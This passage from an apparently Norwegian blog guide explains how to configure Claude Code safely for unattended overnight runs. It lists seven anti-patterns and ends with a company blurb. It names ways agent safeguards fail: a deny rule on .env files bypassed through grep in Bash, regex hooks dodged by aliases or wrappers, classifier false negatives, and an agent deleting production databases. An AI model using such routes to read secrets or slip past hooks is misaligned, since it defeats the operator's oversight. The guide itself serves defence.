Det siste punktet er en arbeidsmåte, ikke en verktøyinnstilling. Gi Claude en måte å kontrollere arbeidet sitt på. Uten verifisering fortsetter en agent som kjører over natten med «Jeg tror jeg gjorde dette riktig, jeg går videre», og samler opp feil fram til morgenen. Med verifisering fortsetter den ikke før kontrollen består.
## 7 antimønstre: Hva du IKKE bør gjøre
Hovedpoeng
Sju vanlige feil fra prosjektene beskrevet her: å kjøre `--dangerously-skip-permissions` på en maskin med produksjonstilgang, kun å stole på `CLAUDE.md`, stole på `permissions.deny` uten en hook på toppen og bruke auto-mode uten sikkerhetskopieringsregler. Hver feil er knyttet til reelle hendelser beskrevet i kildene.
**1. `--dangerously-skip-permissions` på en vertsmaskin med produksjonstilgang.** Browningstreet mistet produksjonsdatabasene og utviklingsdatabasene med én enkelt «rydde opp»-kommando. En feil koster timer med gjenoppretting, pluss data som ikke finnes i sikkerhetskopien. Hvis en hendelse allerede har skjedd, åpne [«Hva gjør du hvis AI slettet en database: sjekkliste for gjenoppretting»](https://ailoot.ai/blog/nb/ai-deleted-database-recovery/) og følg de 10 trinnene i rekkefølge.
**2. Å kun stole på `CLAUDE.md` for sikkerhet.** Sak \#44868 viste at modellen handler først og beklager senere. En rådgivende instruksjon i en tekstfil blokkerer ikke et verktøykall. En riktig konfigurert hook kan blokkere matchende kall, mens kontroller i operativsystem, sandbox og tjenester håndhever bredere grenser. `CLAUDE.md` er viktig for prosjektkontekst—jeg skrev separat om det i [«Slik konfigurerer du CLAUDE.md riktig»](https://ailoot.ai/blog/nb/claude-md-template/)—men den beskytter deg ikke mot en autonom agent.
**3. Å kun stole på `permissions.deny` i `settings.json` uten en hook på toppen.** Sak \#24846 har vært åpen siden februar 2026. Deny for `.env*` kan omgås gjennom `grep` i Bash. En hook kan legge til kontroller, men hemmeligheter må også holdes utenfor miljøet uten tilsyn. En regex erstatter ikke tilgangskontroll fullstendig.
**4. Å behandle auto-mode og regex-hooks som produksjonsisolasjon.** Den siterte falsk-negativ-raten gjelder evalueringen, og hook-dekningen er ufullstendig. Fjern produksjonsskrivetilganger og verifiser den håndhevede grensen fremfor å anta at hver farlig handling fanges.
**5. Å installere en ny pakke med `npm install` uten bekreftelse.** Angrep i forsyningskjeden er reelle. Tea-tags-hendelser i 2024–2026 viste at pakker med nesten identiske navn og tusenvis av nedlastinger finnes. Du trenger en godkjenningsliste.
**6. Å ikke logge Bash-kall.** Uten en revisjonslogg vil du ikke kunne forstå hva som skjedde over natten. Chattranskripsjonen er lang, ikke indeksert etter kommando og gir ingen tidslinje. `.claude/audit.jsonl` løser begge problemene.
**7. Å ikke bruke en worktree for bakgrunnsøkter.** Parallelle økter i én mappe tråkker hverandre på tærne. Claude Code har `worktree.bgIsolation`, aktivert som standard siden versjon 2.1.143, men kontroller innstillingene dine.
Og det viktigste som ingen hook eller innstilling kan forhindre:
Den formuleringen handler ikke om stil. Personen som har ansvaret for å beskytte produksjonsmiljøet, er den som startet agenten. Claude Code fungerer som en barberkniv: Du kan barbere deg med den, og du kan skjære deg på den. Konfigurasjonen besvarer ett spørsmål: Har du forberedt miljøet godt nok til at barberkniven ikke skjærer i noe den ikke skal?
### Kilder
- [Anthropic Claude Code Settings - offisiell dokumentasjon](https://code.claude.com/docs/en/settings)
- [Anthropic Claude Code Hooks - offisiell dokumentasjon](https://code.claude.com/docs/en/hooks)
- [Anthropic Claude Code Security - offisiell dokumentasjon](https://code.claude.com/docs/en/security)
- [Anthropic Engineering: Claude Code-sandboxing (20.10.2025)](https://www.anthropic.com/engineering/claude-code-sandboxing)
- [Anthropic Engineering: auto-modus og sikkerhetsklassifikator (25.03.2026)](https://www.anthropic.com/engineering/claude-code-auto-mode)
- [Claude Code CHANGELOG (versjoner 2.1.157, 2.1.160)](https://raw.githubusercontent.com/anthropics/claude-code/main/CHANGELOG.md)
Oppsett før en hendelse er en del av **kontekstutforming**: Du begrenser på forhånd hva agenten kan gjøre, og frigjør den dermed til å gjøre det du vil den skal gjøre.
Flere ressurser finnes på [Ailoot](https://ailoot.ai/).
## Spørsmål om denne veiledningen: Slik konfigurerer du Claude Code slik at det ikke ødelegger prosjektet ditt over natten
### Beskytter force-push-hooken produksjon mot enhver shell-kommando?
Nei. Det reviderte eksemplet blokkerer gjenkjente bokstavelige git push-kall med begge flaggrekkefølger, implisitte grener, refspecs og vanlige shell-kjeder. Aliaser, wrappere og konstruerte kommandoer kan omgå tekstkontrollen. Håndhev beskyttede grener og fjern tilganger som kan omgå dem.
### Hva kreves før en agent får kjøre over natten?
Bruk et isolert miljø uten produksjonsskrivetilgang eller lesbare hemmeligheter, verifiser nettverks- og tjenestebegrensninger og test hookens tilsiktede treff og bom. Hooks legger til kontroller, men erstatter ikke disse håndhevede grensene.
## Ailoot · Selskapet og dets prosjektportefølje
Ailoot bygger på etablert driftserfaring, en stor kundebase, stabil tjeneste og løpende KPI-kontroll.
Selskapet og dets prosjektportefølje: millioner av kunder; månedlig salg for milliarder.
Ailoot bruker denne driftserfaringen til API-tilgang til AI-funksjoner i kundenes produkter, agenter, applikasjoner og automatiseringer.